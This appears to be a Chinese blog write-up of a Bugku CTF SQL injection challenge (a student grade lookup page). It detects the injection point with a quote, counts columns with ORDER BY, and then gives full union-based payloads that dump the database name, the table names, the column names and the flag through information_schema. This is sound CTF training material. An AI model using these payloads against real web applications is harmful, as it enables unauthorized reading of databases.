Bugku学生成绩查询

我们首先分别输入1,2,3,均有输出。
输入1,正常。输入1’ 错误。输入1’#正常,说明存在注入点。
因此我们可以判断存在sql注入。
在这里插入图片描述在这里插入图片描述在这里插入图片描述
接着使用order by 来看有几列,我们可以从1开始测试或者使用均分法先从一个大的数据测,然后再分半。这一题测试过后只有四列,5就开始出错了
在这里插入图片描述在这里插入图片描述接着使用union联合注入,union 的作用是将两个 sql 语句进行联合,union 前后的两个 sql 语句的选择列数要相同才可以。记得把前面的查询数据置空,写成id=-1即可,显示正常,说明确确实实存在这四列数据
在这里插入图片描述发现有四个表且都有回显,然后开始爆破表名。
首先爆库名:通过id=-1’ union select 1,2,3,database()#得到数据库名skctf_flag
在这里插入图片描述然后爆表名:通过使用 id=-1’ union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()# 得到表名:fl4g,sc
在这里插入图片描述接下来开始爆字段:id=-1’union select 1,2,3,group_concat(column_name)from information_schema.columns where table_name=0x666c3467#注意最后的表名要用十六进制进行加密。得到字段skctf_flag
在这里插入图片描述最后就是查询数据了,通过使用:id=-1’ union select 1,2,3,skctf_flag from fl4g#
在这里插入图片描述得到flag。

  • 3
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值